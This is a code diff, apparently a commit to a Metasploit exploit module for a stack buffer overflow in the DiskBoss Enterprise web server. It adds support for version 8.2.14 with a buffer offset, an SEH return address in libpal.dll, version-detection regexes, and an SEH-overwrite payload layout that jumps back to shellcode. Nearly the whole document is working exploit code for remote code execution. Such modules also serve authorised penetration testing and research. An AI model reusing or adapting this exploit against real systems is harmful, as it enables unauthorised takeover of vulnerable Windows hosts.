@@ -14,20 +14,23 @@ def initialize(info = {})
14
14
'Name' => 'DiskBoss Enterprise GET Buffer Overflow' ,
15
15
'Description' => %q{
16
16
This module exploits a stack-based buffer overflow vulnerability
17
- in the web interface of DiskBoss Enterprise v7.5.12 and v7.4.28,
17
+ in the web interface of DiskBoss Enterprise v7.5.12, v7.4.28, and v8.2.14 ,
18
18
caused by improper bounds checking of the request path in HTTP GET
19
19
requests sent to the built-in web server. This module has been
20
20
tested successfully on Windows XP SP3 and Windows 7 SP1.
21
21
} ,
22
22
'License' => MSF_LICENSE ,
23
23
'Author' =>
24
24
[
25
- 'vportal' , # Vulnerability discovery and PoC
26
- 'Gabor Seljan' # Metasploit module
25
+ 'vportal' , # Vulnerability discovery and PoC
26
+ 'Ahmad Mahfouz' , # Vulnerability discovery and PoC
27
+ 'Gabor Seljan' , # Metasploit module
28
+ 'Jacob Robles' # Metasploit module
27
29
] ,
28
30
'References' =>
29
31
[
30
- [ 'EDB' , '40869' ]
32
+ [ 'EDB' , '40869' ] ,
33
+ [ 'EDB' , '42395' ]
31
34
] ,
32
35
'DefaultOptions' =>
33
36
{
@@ -60,6 +63,13 @@ def initialize(info = {})
60
63
'Offset' => 2471 ,
61
64
'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]
62
65
}
66
+ ] ,
67
+ [
68
+ 'DiskBoss Enterprise v8.2.14' ,
69
+ {
70
+ 'Offset' => 2496 ,
71
+ 'Ret' => 0x1002A8CA # SEH : # POP EDI # POP ESI # RET 04 [libpal.dll]
72
+ }
63
73
]
64
74
] ,
65
75
'Privileged' => true ,
@@ -74,7 +84,7 @@ def check
74
84
)
75
85
76
86
if res && res . code == 200
77
- if res . body =~ /DiskBoss Enterprise v7 \. ( 4\. 28|5\. 12)/
87
+ if res . body =~ /DiskBoss Enterprise v(7 \. 4\. 28|7 \. 5\. 12|8 \. 2 \. 14 )/
78
88
return Exploit ::CheckCode ::Vulnerable
79
89
elsif res . body =~ /DiskBoss Enterprise/
80
90
return Exploit ::CheckCode ::Detected
@@ -105,6 +115,8 @@ def exploit
105
115
mytarget = targets [ 1 ]
106
116
elsif res . body =~ /DiskBoss Enterprise v7\. 5\. 12/
107
117
mytarget = targets [ 2 ]
118
+ elsif res . body =~ /DiskBoss Enterprise v8\. 2\. 14/
119
+ mytarget = targets [ 3 ]
108
120
end
109
121
end
110
122
@@ -115,11 +127,24 @@ def exploit
115
127
print_status ( "Selected Target: #{ mytarget . name } " )
116
128
end
117
129
118
- sploit = make_nops ( 21 )
119
- sploit << payload . encoded
120
- sploit << rand_text_alpha ( mytarget [ 'Offset' ] - payload . encoded . length )
121
- sploit << [ mytarget . ret ] . pack ( 'V' )
122
- sploit << rand_text_alpha ( 2500 )
130
+ case mytarget
131
+ when targets [ 1 ] , targets [ 2 ]
132
+ sploit = make_nops ( 21 )
133
+ sploit << payload . encoded
134
+ sploit << rand_text_alpha ( mytarget [ 'Offset' ] - payload . encoded . length )
135
+ sploit << [ mytarget . ret ] . pack ( 'V' )
136
+ sploit << rand_text_alpha ( 2500 )
137
+ when targets [ 3 ]
138
+ seh = generate_seh_record ( mytarget . ret )
139
+ sploit = payload . encoded
140
+ sploit << rand_text_alpha ( mytarget [ 'Offset' ] - payload . encoded . length )
141
+ sploit [ sploit . length , seh . length ] = seh
142
+ sploit << make_nops ( 10 )
143
+ sploit << Rex ::Arch ::X86 . jmp ( 0xffffbf25 ) # JMP to ShellCode
144
+ sploit << rand_text_alpha ( 5000 - sploit . length )
145
+ else
146
+ fail_with ( Failure ::NoTarget , 'No matching target' )
147
+ end
123
148
124
149
send_request_cgi (
125
150
'method' => 'GET' ,
0 commit comments